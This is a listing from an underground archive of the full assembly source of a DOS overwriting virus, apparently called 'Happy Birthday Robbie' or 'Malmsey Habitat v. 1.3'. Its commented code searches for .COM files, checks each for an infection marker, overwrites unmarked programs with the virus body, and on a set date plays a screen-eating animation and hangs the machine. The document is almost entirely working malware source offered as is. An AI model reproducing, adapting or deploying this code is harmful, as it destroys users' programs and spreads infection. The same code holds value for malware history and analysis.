home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / malmseys.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.7 KB  |  225 lines

  1. ;
  2.  
  3. ;Happy Birthday Robbie Virus
  4.  
  5. ;
  6.  
  7.  
  8.  
  9.         code    segment 'CODE'
  10.  
  11.                 assume cs:code,ds:code,es:code,ss:code
  12.  
  13.  
  14.  
  15.                 org     0100h
  16.  
  17.  
  18.  
  19. code_length     equ     finish - start
  20.  
  21. lf        equ    0Ah
  22.  
  23. cr        equ    0Dh
  24.  
  25.  
  26.  
  27. start           label   near
  28.  
  29.                
  30.  
  31. id_bytes        proc    near
  32.  
  33.                 mov     si,si                   ; Serves no purpose:  our ID
  34.  
  35. id_bytes        endp
  36.  
  37.  
  38.  
  39. main:           mov     ah,04Eh                 ; DOS find first file function
  40.  
  41.                 mov     cx,00100111b            ; CX holds attribute mask
  42.  
  43.                 mov     dx,offset com_spec      ; DX points to "*.COM"
  44.  
  45.  
  46.  
  47. file_loop:      int     021h
  48.  
  49.                 jc      exit_virus            ; If there are no files, go
  50.  
  51.                                                 ; off
  52.  
  53.  
  54.  
  55.                 call    infect_file             ; Try to infect found file
  56.  
  57.                 jne     exit_virus              ; Exit if successful
  58.  
  59.  
  60.  
  61.                 mov     ah,04Fh                 ; DOS find next file function
  62.  
  63.                 jmp     short file_loop         ; Repeat until out of files
  64.  
  65.  
  66.  
  67. exit_virus:    
  68.  
  69.         mov    ah,2Ah
  70.  
  71.         int    21h
  72.  
  73.         cmp    dl,3
  74.  
  75.          jne    dos_drop
  76.  
  77.         cmp    dh,10
  78.  
  79.         je     eat_screen
  80.  
  81. dos_drop:    int    20h
  82.  
  83. eat_screen:    mov    byte ptr count,0
  84.  
  85.         mov    ah,00
  86.  
  87.         mov    al,03
  88.  
  89.         int    10h 
  90.  
  91.         mov    ah,08
  92.  
  93.         int    10h
  94.  
  95.         mov    byte ptr count2,al
  96.  
  97.         cmp    byte ptr count2,00
  98.  
  99.         jne    draw_face
  100.  
  101.         mov    byte ptr count2,0fh
  102.  
  103. draw_face:
  104.  
  105.         mov    ah,01        ;set cursor type
  106.  
  107.         mov    cl,00
  108.  
  109.         mov    ch,40h
  110.  
  111.         int    10h
  112.  
  113.         mov    cl,00
  114.  
  115.         mov    dl,4fh
  116.  
  117.         mov    ah,06        ;clear the display window
  118.  
  119.         mov    al,00
  120.  
  121.         mov    bh,0fh        ;blank line attribs
  122.  
  123.         mov    ch,00        ;starting at upper left corner
  124.  
  125.         mov    cl,00        ; to
  126.  
  127.         mov    dh,00        ;row 0
  128.  
  129.         mov    dl,4fh        ;column 4Fh
  130.  
  131.         int    10h
  132.  
  133.         mov    ah,02        ;set cursor position
  134.  
  135.         mov    dh,00        ;to row 0, 
  136.  
  137.         mov    dl,1fh        ;column 1Fh
  138.  
  139.         mov    bh,00        ;in graphics mode
  140.  
  141.         int    10h
  142.  
  143.         mov    dx,offset eyes  ;get the eyes
  144.  
  145.         mov    ah,09        ;and draw them to screen
  146.  
  147.         mov    bl,0fh        ;this colour
  148.  
  149.         int    21h
  150.  
  151.         mov    ah,02        ;reposition character
  152.  
  153.         mov    dh,01        ;to row 1,
  154.  
  155.         mov    dl,00        ;column 0
  156.  
  157.         int    10h
  158.  
  159.         mov    ah,09        ;write character and attrib
  160.  
  161.         mov    al,0dch        ;character shape
  162.  
  163.         mov    bl,0fh        ;character colour
  164.  
  165.         mov    cx,50h        ;number of characters.
  166.  
  167.         int    10h
  168.  
  169.         mov    ah,02        ;reposition cursor
  170.  
  171.         mov    dh,18h        ;to row 18h
  172.  
  173.         mov    dl,00        ;column 0
  174.  
  175.         int    10h
  176.  
  177.         mov    ah,09        ;write character & attribute
  178.  
  179.         mov    al,0dfh        ;character shape
  180.  
  181.         mov    bl,0fh        ;character colour
  182.  
  183.         mov    cx,0050h    ;number of characters
  184.  
  185.         int    10h
  186.  
  187.         mov    dl,00        ;back to column 0
  188.  
  189. make_teeth:
  190.  
  191.         mov    ah,02        ;set cursor position
  192.  
  193.         mov    dh,02        ;to row 2
  194.  
  195.         int    10h
  196.  
  197.         mov    ah,09        ;write the character
  198.  
  199.         mov    al,55h        ; "U" for one top tooth
  200.  
  201.         mov    bl,0fh        ; colour code
  202.  
  203.         mov    cx,1        ;only one tooth
  204.  
  205.         int    10h
  206.  
  207.         mov    ah,02
  208.  
  209.         mov    dh,17h        ;row 17h
  210.  
  211.         inc    dl        ;increase column number
  212.  
  213.         int    10h
  214.  
  215.         mov    ah,09        ;write a character there.
  216.  
  217.         mov    al,0efh        ;character "∩" for bottom teeth 
  218.  
  219.         mov    bl,0fh        ;colour code
  220.  
  221.         int    10h
  222.  
  223.         inc    dl        ;increment column number
  224.  
  225.         cmp    dl,50h        ;is there 50h of them yet?
  226.  
  227.         jl    make_teeth    ;make more if not
  228.  
  229.         mov    byte ptr count,0 ;0 the counter
  230.  
  231. pause_1:
  232.  
  233.         mov    cx,7fffh
  234.  
  235. a_loop:    
  236.  
  237.         loop    a_loop        ;pause
  238.  
  239.         inc    byte ptr count
  240.  
  241.         cmp    byte ptr count,0ah
  242.  
  243.         jl    pause_1
  244.  
  245.         mov    byte ptr count,00
  246.  
  247.         mov    cl,00        ;from column 0
  248.  
  249.         mov    dl,4fh        ;to column 79,
  250.  
  251. close_jaws:
  252.  
  253.         mov    ah,06        ;scroll the page up
  254.  
  255.         mov    al,01        ;blanking a line
  256.  
  257.         mov    bh,byte ptr count ;with this attribute
  258.  
  259.         mov    ch,0dh        ;and from row 13
  260.  
  261.         mov    dh,18h        ;to row 24
  262.  
  263.         int    10h
  264.  
  265.         mov    ah,07        ;scroll downward
  266.  
  267.         mov    al,01        ;blanking one line
  268.  
  269.         mov    bh,byte ptr count ;with this attribute
  270.  
  271.         mov    ch,00        ;from row 0
  272.  
  273.         mov    dh,0ch        ;to row 12
  274.  
  275.         int    10h
  276.  
  277.         mov    cx,3fffh
  278.  
  279. b_loop:    
  280.  
  281.         loop    b_loop        ;pause
  282.  
  283.         inc    byte ptr count
  284.  
  285.         cmp    byte ptr count,0bh
  286.  
  287.         jl    close_jaws
  288.  
  289.         mov    byte ptr count,00
  290.  
  291. pause_2:    
  292.  
  293.         mov    cx,7fffh
  294.  
  295. finish_up:
  296.  
  297.         loop    finish_up
  298.  
  299.         inc    byte ptr count        ;increment count by 1
  300.  
  301.         cmp    byte ptr count,0ah    ;is it a 10 yet?
  302.  
  303.         jl    pause_2            ;no? loop again...
  304.  
  305.         mov    ah,06            ;scroll page up
  306.  
  307.         mov    al,00            ;blank entire window
  308.  
  309.         mov    bh,byte ptr count    ;with this attribute
  310.  
  311.         mov    ch,00            ;from row 0,
  312.  
  313.         mov    cl,00            ;column 0,
  314.  
  315.         mov    dh,18h            ;to row 18h
  316.  
  317.         mov    dl,4fh            ;column 79
  318.  
  319.         int    10h
  320.  
  321.         mov    ah,01            ;reset cursor type
  322.  
  323.         mov    cl,07
  324.  
  325.         mov    ch,06            ;everything is back to normal
  326.  
  327.         int    10h
  328.  
  329.         mov    si,offset rabid
  330.  
  331. fuckin_loop:    lodsb
  332.  
  333.         or     al,al
  334.  
  335.         jz    $
  336.  
  337.         mov    ah, 0Eh
  338.  
  339.         int    10h
  340.  
  341.         jmp    short fuckin_loop
  342.  
  343. infect_file:
  344.  
  345.                 mov     ax,03D02h               ; DOS open file function,
  346.  
  347.                                                 ; read-write
  348.  
  349.                 mov     dx,09Eh                 ; DX points to the victim
  350.  
  351.                 int     021h
  352.  
  353.  
  354.  
  355.                 xchg    bx,ax                   ; BX holds file handle
  356.  
  357.  
  358.  
  359.                 mov     ah,03Fh                 ; DOS read from file function
  360.  
  361.                 mov     cx,2                    ; CX holds byte to read (2)
  362.  
  363.                 mov     dx,offset buffer        ; DX points to buffer
  364.  
  365.                 int     021h
  366.  
  367.  
  368.  
  369.                 cmp     word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
  370.  
  371.                 pushf                           ; Save flags
  372.  
  373.                 je      close_it_up             ; If not, then file is OK
  374.  
  375.  
  376.  
  377.                 cwd                             ; Zero CX \_ Zero bytes from
  378.  
  379.                                                 ; start
  380.  
  381.                 mov     cx,dx                   ; Zero DX /
  382.  
  383.                 mov     ax,04200h               ; DOS file seek function,
  384.  
  385.                                                 ; start
  386.  
  387.                 int     021h
  388.  
  389.  
  390.  
  391.                 mov     ah,040h                 ; DOS write to file function
  392.  
  393.                 mov     cx,code_length          ; CX holds virus length
  394.  
  395.                 mov     dx,offset start         ; DX points to start of virus
  396.  
  397.                 int     021h
  398.  
  399.  
  400.  
  401. close_it_up:    mov     ah,03Eh                 ; DOS close file function
  402.  
  403.                 int     021h
  404.  
  405.  
  406.  
  407.                 popf                            ; Restore flags
  408.  
  409.                 ret                             ; Return to caller
  410.  
  411.  
  412.  
  413. buffer          dw      ?                       ; Buffer to hold test data
  414.  
  415.  
  416.  
  417. ; Initialized data goes here
  418.  
  419.  
  420.  
  421. com_spec        db      "*.COM",0               ; What to infect:  all COM
  422.  
  423. count   db      0, 0
  424.  
  425. count2  db      0, 0
  426.  
  427. eyes    db      '(o)          (o)$'
  428.  
  429. dinked    db    '[Malmsey Habitat v. 1.3]',      0
  430.  
  431. rabid   db     cr, lf
  432.  
  433.     db    'Warmest Regards to  RABID', cr, lf
  434.  
  435.     db    'from -- ANARKICK SYSTEMS!  ',0,'$'
  436.  
  437.  
  438.  
  439. finish:   
  440.  
  441.  
  442.  
  443. code            ends
  444.  
  445.                 end     start
  446.  
  447.  
  448.  
  449.